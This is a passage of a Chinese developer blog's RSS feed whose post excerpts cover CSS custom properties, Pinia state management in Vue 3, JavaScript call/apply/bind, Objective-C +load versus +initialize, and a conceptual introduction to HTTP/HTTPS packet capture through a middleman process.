&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;color&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;var&lt;/span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;--foo&lt;/span&gt;&lt;span style="color:#f92672"&gt;,&lt;/span&gt; #7F583F&lt;span style="color:#f92672"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;第二个参数不处理内部的逗号或空格，都视作参数的一部分。&lt;/p&gt;</description></item><item><title>状态管理</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-019/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-019/</guid><description>&lt;p&gt;本知识点将以 &lt;code&gt;Pinia&lt;/code&gt; 为例，介绍 Vue 中的状态管理。&lt;/p&gt;
&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://pinia.vuejs.org/zh/"&gt;Pinia&lt;/a&gt;简称小菠萝🍍，是一个专为Vue 3设计的现代化状态管理库，为&lt;code&gt;Vue 3&lt;/code&gt;开发的，它提供了一种简单、可扩展和类型安全的方式来管理应用程序的状态。&lt;/p&gt;
&lt;p&gt;与&lt;code&gt;Vue 2&lt;/code&gt;中的Vuex相比，&lt;code&gt;Pinia&lt;/code&gt;提供了更好的&lt;code&gt;TypeScrip&lt;/code&gt;t支持，具有更好的类型定义和类型推断，可在编译时捕获错误，提供更高的代码可靠性和开发体验。它是专为&lt;code&gt;Vue 3&lt;/code&gt;设计的，充分利用了&lt;code&gt;Vue 3&lt;/code&gt;的新特性，如&lt;code&gt;Composition API&lt;/code&gt;，以提供更直接、自然和灵活的状态管理体验。&lt;code&gt;Pinia&lt;/code&gt;的核心概念是&lt;code&gt;Store&lt;/code&gt;，它类似于&lt;code&gt;Vuex&lt;/code&gt;中的模块，用于管理应用程序的状，可以将相关的状态和逻辑组合到单个&lt;code&gt;Store&lt;/code&gt;中，使代码更清晰、结构更有组织性。除此之外海提供了许多有用的特性和功能，例如模块化组织、状态持久化、插件扩展等。&lt;/p&gt;
&lt;p&gt;总的来说，&lt;code&gt;Pinia&lt;/code&gt;是一个功能强大而灵活的状态管理解决方案，适用于各种规模的&lt;code&gt;Vue 3&lt;/code&gt;应用程序。它提供了现代化的特性和工具，帮助我们更好地组织、管理和扩展应用程序的状态，同时提供了更好的类型安全和开发体验。&lt;/p&gt;
&lt;h2 id="安装"&gt;安装&lt;/h2&gt;
&lt;p&gt;运行安装命令&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm install pinia
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在&lt;code&gt;main.ts&lt;/code&gt;中引入&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ts" data-lang="ts"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// main.ts
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;createApp&lt;/span&gt; } &lt;span style="color:#66d9ef"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;vue&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;createPinia&lt;/span&gt; } &lt;span style="color:#66d9ef"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;pinia&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;App&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./App.vue&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;pinia&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createPinia&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;app&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createApp&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;App&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;app&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;use&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;pinia&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;app&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;mount&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;#app&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="初始化store"&gt;初始化Store&lt;/h2&gt;
&lt;p&gt;新建&lt;code&gt;stores&lt;/code&gt;文件，用于存放所有的&lt;code&gt;store&lt;/code&gt;，然后创建&lt;code&gt;index.ts&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;同过 &lt;code&gt;defineStore()&lt;/code&gt; 定义一个&lt;code&gt;store&lt;/code&gt;，它接受一个参数作为仓库名称，也就是&lt;code&gt;Id&lt;/code&gt;。它返回一个函数，默认我们使用&lt;code&gt;user&lt;/code&gt;开头的风格来接收。第二个参数为一个&lt;code&gt;Setup&lt;/code&gt;函数或者&lt;code&gt;Option&lt;/code&gt;对象。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ts" data-lang="ts"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;defineStore&lt;/span&gt; } &lt;span style="color:#66d9ef"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;pinia&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;useUsersStore&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;defineStore&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;users&amp;#39;&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 其他配置...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="option-store"&gt;Option Store&lt;/h2&gt;
&lt;p&gt;这种方式熟悉&lt;code&gt;Vuex&lt;/code&gt;的很了解，传入一个带有 &lt;code&gt;state&lt;/code&gt;、&lt;code&gt;actions&lt;/code&gt; 与 &lt;code&gt;getters&lt;/code&gt; 属性的 &lt;code&gt;Option&lt;/code&gt; 对象&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ts" data-lang="ts"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;userUsersStore&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;defineStore&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;users&amp;#39;&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; () &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;inkun&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;current&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;getters&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;getName&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;) &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;🐔你好帅&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;actions&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;getUserInfo&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在 &lt;code&gt;Option Store&lt;/code&gt; 中：&lt;/p&gt;</description></item><item><title>call、apply和bind</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/call-apply-bind/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/call-apply-bind/</guid><description>&lt;h2 id="apply-和-call简介"&gt;&lt;code&gt;apply&lt;/code&gt; 和 &lt;code&gt;call&lt;/code&gt;简介&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;javascript&lt;/code&gt; 中，&lt;code&gt;call&lt;/code&gt; 和 &lt;code&gt;apply&lt;/code&gt; 都是为了改变某个函数运行时的上下文（&lt;code&gt;context&lt;/code&gt;）而存在的，换句话说，就是为了改变函数体内部 &lt;code&gt;this&lt;/code&gt; 的指向。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;JavaScript&lt;/code&gt; 的一大特点是，函数存在「&lt;code&gt;定义时上下文&lt;/code&gt;」和「&lt;code&gt;运行时上下文&lt;/code&gt;」以及「&lt;code&gt;上下文是可以改变的&lt;/code&gt;」这样的概念。&lt;/p&gt;
&lt;p&gt;比如 &lt;code&gt;A&lt;/code&gt; 对象有一个方法，而 &lt;code&gt;B&lt;/code&gt; 对象因为某种原因，也需要用到同样的方法，那么这时候不用单独为 &lt;code&gt;B&lt;/code&gt; 对象扩展一个方法，可以直接借用 A 对象的方法。这样既完成了需求，又减少了内存的占用。&lt;/p&gt;
&lt;p&gt;直接来看个例子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function fruits() {} fruits.prototype = { color: &amp;#34;red&amp;#34;, say: function() { console.log(&amp;#34;My color is &amp;#34; + this.color); }} var apple = new fruits();apple.say(); //My color is red
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;但是如果我们有一个对象 &lt;code&gt;banana= {color : &amp;quot;yellow&amp;quot;}&lt;/code&gt; ,我们不想对它重新定义 &lt;code&gt;say&lt;/code&gt; 方法，那么我们可以通过 &lt;code&gt;call&lt;/code&gt; 或 &lt;code&gt;apply&lt;/code&gt; 用 &lt;code&gt;apple&lt;/code&gt; 的 &lt;code&gt;say&lt;/code&gt; 方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;banana = { color: &amp;#34;yellow&amp;#34;}apple.say.call(banana); //My color is yellowapple.say.apply(banana); //My color is yellow
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="applycall-的区别"&gt;apply、call 的区别&lt;/h2&gt;
&lt;p&gt;对于 apply、call 二者而言，作用完全一样，只是接受参数的方式不太一样。例如，有一个函数定义如下：&lt;/p&gt;</description></item><item><title>+load与+initialize的区别</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/load%E4%B8%8Einitialize%E7%9A%84%E5%8C%BA%E5%88%AB/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/load%E4%B8%8Einitialize%E7%9A%84%E5%8C%BA%E5%88%AB/</guid><description>&lt;p&gt;&lt;code&gt;+load&lt;/code&gt;和&lt;code&gt;+initialize&lt;/code&gt;是Objective-C中两个特殊的类方法，它们都会被Runtime自动调用，但调用时机、调用方式和使用场景有很大区别。理解它们的差异对于iOS开发和性能优化非常重要。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="基本定义"&gt;基本定义&lt;/h2&gt;
&lt;h3 id="load方法"&gt;+load方法&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;+load&lt;/code&gt;方法在类被加载到内存时由Runtime自动调用，发生在main函数执行之前。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@implementation&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MyClass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;+ (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;load&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; NSLog(&lt;span style="color:#e6db74"&gt;@&amp;#34;MyClass loaded&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="initialize方法"&gt;+initialize方法&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;+initialize&lt;/code&gt;方法在类第一次收到消息时由Runtime自动调用，是一种懒加载机制。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@implementation&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MyClass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;+ (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;initialize&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; NSLog(&lt;span style="color:#e6db74"&gt;@&amp;#34;MyClass initialized&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="核心区别对比"&gt;核心区别对比&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;+load&lt;/th&gt;
&lt;th&gt;+initialize&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;调用时机&lt;/td&gt;
&lt;td&gt;main函数之前，类加载时&lt;/td&gt;
&lt;td&gt;类首次收到消息时&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;调用方式&lt;/td&gt;
&lt;td&gt;直接调用函数指针&lt;/td&gt;
&lt;td&gt;通过objc_msgSend&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;调用次数&lt;/td&gt;
&lt;td&gt;每个类只调用一次&lt;/td&gt;
&lt;td&gt;可能被调用多次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;是否阻塞启动&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;是否需要显式调用父类&lt;/td&gt;
&lt;td&gt;否，自动调用&lt;/td&gt;
&lt;td&gt;否，自动调用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Category的行为&lt;/td&gt;
&lt;td&gt;都会被调用&lt;/td&gt;
&lt;td&gt;会覆盖主类实现&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;线程安全&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;调用顺序&lt;/td&gt;
&lt;td&gt;父类 -&amp;gt; 子类 -&amp;gt; Category&lt;/td&gt;
&lt;td&gt;父类 -&amp;gt; 子类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;未实现时的行为&lt;/td&gt;
&lt;td&gt;不调用&lt;/td&gt;
&lt;td&gt;可能调用父类实现&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="调用时机详解"&gt;调用时机详解&lt;/h2&gt;
&lt;h3 id="load的调用时机"&gt;+load的调用时机&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;+load&lt;/code&gt;的调用发生在dyld加载镜像的过程中：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dyld加载Mach&lt;span style="color:#f92672"&gt;-&lt;/span&gt;O
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;↓&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;映射到内存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;↓&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;读取&lt;/span&gt;__DATA段中的__objc_nlclslist&lt;span style="color:#960050;background-color:#1e0010"&gt;（非懒加载类列表）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;↓&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;调用所有类的&lt;/span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;load方法
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;↓&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;读取&lt;/span&gt;__objc_nlcatlist&lt;span style="color:#960050;background-color:#1e0010"&gt;（非懒加载分类列表）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;↓&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;调用所有分类的&lt;/span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;load方法
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;↓&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;main()&lt;span style="color:#960050;background-color:#1e0010"&gt;函数执行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="initialize的调用时机"&gt;+initialize的调用时机&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;+initialize&lt;/code&gt;在类第一次收到消息时调用：&lt;/p&gt;</description></item><item><title>抓包工具</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-020/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-020/</guid><description>&lt;h2 id="抓包的原理"&gt;抓包的原理&lt;/h2&gt;
&lt;h3 id="什么是抓包"&gt;什么是抓包？&lt;/h3&gt;
&lt;p&gt;抓包就是将网络传输发送与接收的数据包进行截获、重发、编辑、转存等操作，通过抓包可以：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;分析网络问题&lt;/li&gt;
&lt;li&gt;业务分析&lt;/li&gt;
&lt;li&gt;分析网络信息流通量&lt;/li&gt;
&lt;li&gt;网络大数据金融风险控制&lt;/li&gt;
&lt;li&gt;探测企图入侵网络的攻击&lt;/li&gt;
&lt;li&gt;探测由内部和外部的用户滥用网络资源&lt;/li&gt;
&lt;li&gt;探测网络入侵后的影响&lt;/li&gt;
&lt;li&gt;监测链接互联网宽频流量&lt;/li&gt;
&lt;li&gt;监测网络使用流量（包括内部用户，外部用户和系统）&lt;/li&gt;
&lt;li&gt;监测互联网和用户电脑的安全状态&lt;/li&gt;
&lt;li&gt;渗透与欺骗&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;回顾下计算机网络知识，数据在网络上是以很小的&lt;code&gt;帧&lt;/code&gt;的单位传输的，帧通过特定的称为网络驱动程序的程序进行成型，然后通过网卡发送到网线上，通过网线到达目的机器，在目的机器的一端执行相反的过程。接收端机器的以太网捕获到这些帧，并告诉操作系统帧已到达，然后对其进行存储。在这个传输和接收的过程，就可以使用抓包工具（Sniffers）进行抓包，作为前端开发者，通常是抓取应用层的 HTTP/HTTPS 的包。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-020/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="httphttps-抓包原理"&gt;HTTP/HTTPS 抓包原理&lt;/h3&gt;
&lt;p&gt;HTTP/HTTPS 是应用层使用的通信协议，常见的应用层体系结构是客户端-服务器体系。&lt;/p&gt;
&lt;p&gt;对运行在不同端系统上的客户端程序和服务端程序是如何互相通信的么？实际上，在操作系统上的术语中，进行通信的实际上是&lt;code&gt;进程&lt;/code&gt;而不是程序，一个进程可以被认为是运行在端系统中的一个程序。&lt;/p&gt;
&lt;p&gt;在 web 应用程序中，一个客户浏览器进程与一台服务器进程进行会话交换报文。&lt;/p&gt;
&lt;p&gt;浏览器进程需要知道接收进程的主机地址，以及定义在目的主机中的接收进程的标识符，也就是目的端口。&lt;/p&gt;
&lt;p&gt;多数应用程序由通信进程对组成，每对中的两个进程互相发送报文。进程通过一个称为套接字的软件接口向网络发送报文和从网络接收报文。&lt;/p&gt;
&lt;p&gt;进程可以类比一座房子，而它的套接字可以是它的门，&lt;code&gt;套接字&lt;/code&gt;是应用层与运输层之间的端口。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-020/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;知道了两个进程的通信流程，我们要怎么抓包呢？举一个生活中的例子，小明暗恋小雯，于是他写了一封情书，但他有点害羞，找了小雯的好朋友小花帮忙传递情书。这个时候，小花可以负责小雯与小明之间的情书传递，作为中间人，她可以偷偷查看他们的情书内容。&lt;/p&gt;
&lt;p&gt;思路就是设置一个中间人进程负责抓包，每次目标进程之间的会话都先与中间人进程通信，再进行转发。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-020/image-03.webp"&gt;&lt;/p&gt;
&lt;h4 id="http-抓包原理"&gt;HTTP 抓包原理&lt;/h4&gt;
